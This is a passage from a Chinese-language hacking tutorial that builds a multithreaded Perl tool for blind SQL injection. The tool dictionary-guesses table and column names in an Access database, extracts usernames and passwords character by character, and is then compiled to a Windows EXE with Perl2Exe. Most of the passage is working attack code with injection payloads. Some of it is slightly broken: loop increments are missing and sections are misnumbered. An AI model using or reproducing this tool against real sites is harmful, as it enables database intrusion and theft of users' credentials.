my $connection = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host \n";
print $connection $req;
my @res = <$connection>;
close $connection;
return @res;
}
Connect 子例程将返回信息存储在数组@res中;
三. 猜解用户信息表
使用SQL查询语句:0<>(select count(*) from TABLE)
真正的破解开始了,没有什么捷径可走,顺次读取字典里存储的表名,然后一个一个的尝试,一旦成功匹配正确信息,立即退出while循环;字典有两种,一种是数组,第二是文本字典,PERL脚本我们将编译为EXE可执行文件,为了便于今后修改添加新的表名,我使用文本字典文件:
程序代码:
open (tabInput,"table.txt") or die "can't open file!\n";
while (chomp(my $input=<tabInput>))
{
my $sql="0<>(select count(*) from $input)";
$path1 = " AND $sql";
&url;
@res = &connect;
if ("@res"=~/$info/)
{
$table_user=$input;
print "the table of userinfo is:$table\n";
last;
}
}
close(tabInput);
四. 猜解字段名
使用SQL查询语句:exists (select COL_NAME from TABLE)
这一步同猜解表名如出一辙,一旦成功获取表名,我们将兵分三路,直取用户名列($field_user)、密码列($field_pass)、ID列($field_id),既然是分兵出击,就不得不使用多线程,PERL中的多线程,呵呵,你还没有试过吧?
为实现多线程作的第一个准备,编写猜解子例程(函数),我们依然使用文本字典文件,在这里,文件名作为唯一的参数传入:
程序代码:
sub field_input
{
my $field;
open (fieInput,"$_[0]") or die "can't open file!\n";
while (chomp(my $input=<fieInput>))
{
my $sql="exists (select $input from $table_User)";
$path1 = " AND $sql";
my @res = &connect;
if ("@res"=~/$info/)
{
$field=$input;
print "\t -- $field -- ";
last;
}
}
close(fieInput);
return $field;
}
程序代码:
$sql="select len($field_Username) from $table_User where field_ID=$id";
my $thread4 = threads->create("crack",@dic2,$sql);
$sql="select len($field_Password) from $table_User where $field_ID=$id";
my $thread5 = threads->create("crack",@dic2,$sql);
$userlen = $thread4->join();
$passlen = $thread5->join();
六.最后的战役-攻破字段值
使用SQL查询语句:select abs(asc(mid($fieUsername,$locat,1))) from $table_User where $field_Id = $id
这里不讨论MS-SQL中的猜测,可以说MS-SQL下是不用猜测的,你只要构造的条件足够的好,可以直接让对方在报错的时候将数据内容直接显示出来。
ACCESS 中字符的猜测:首先要判断ASCII码值是否大于零,大于,就用@dic3套到CRACK函数里面,小于就用@dic4了!函数返回数值以后,对于英文字符,有两种方法:使用nchar($asc)或者pack('C*',$asc);而对于中文字符:打开计算器,选择科学型,转换成十六进制单字,是****,用UltraEdit编辑为*字,哈哈……那就不叫编程了!
首先要用sprintf("%X",$asc)完成计算器的转换十六进制的工作,(别忘了用正则表达式提出最后四位,不然一个字前面就要冒出两个空格)然后再用pack("H*",$str)完成UltraEdit的打包作业:
程序代码:
sub asc
{
my $asc=$_[0];
my $str;
if ($asc<256)
{
$str = pack('C*',$asc);
}
else
{
$asc*=-1;
$str = sprintf("%X",$asc);
if ($str=~/(.{4})$/i)
{
$str=$1;
}
$str = pack("H*",$str);
}
return $str;
}
万事俱备,只欠东风,此仅举猜解密码值为例,一位密码启动一个CRACK子线程:
程序代码:
for (my $locat=1;$locat<=$passlen;$locat )
{
$sql = "select asc(mid($field_Password,$locat,1)) from $table_User where $field_Id=$id";
$path1 = " AND 0>($sql)";
my @res = &connect;
if ("@res" =~ /$info/)
{
$sql = "select abs(asc(mid($field_Password,$locat,1))) from $table_User where $field_Id=$id";
$password[$locat] = threads->create("crack",@dic4,$sql);
}
else
{
$password[$locat] = threads->create("crack",@dic3,$sql);
}
}
慢慢等待这些孩子们都一个个衣锦还乡吧:
程序代码:
for (my $locat=1;$locat<=$passlen;$locat )
{
$password[$locat] = $password[$locat]->join();
}
其它的显示细节,我就不要意思多说了,赶忙编译EXE。GO!
六. 编译perl为EXE
从perl2exe的老家http://www.indigostar.com/perl2exe.htm ,DOWN个最新版本的Perl2Exe for Win32,目前为止是8.40,直接解压缩,CMD命令行进入解压后的目录,为了避免浏览烦人的广告,我们先得注册一下这个软件:
程序代码:
D:\hemon\software>perl2exe -register
Perl2Exe V8.40 Copyright (c) 1997-2004 IndigoSTAR Software
Please enter your registration key, or press enter to cancel
程序代码:
D:\hemon\software>perl2exe si.pl
Perl2Exe V8.40 Copyright (c) 1997-2004 IndigoSTAR Software
Registered to hemon:hemon:20040709, ENT version
Converting 'si.pl' to si.exe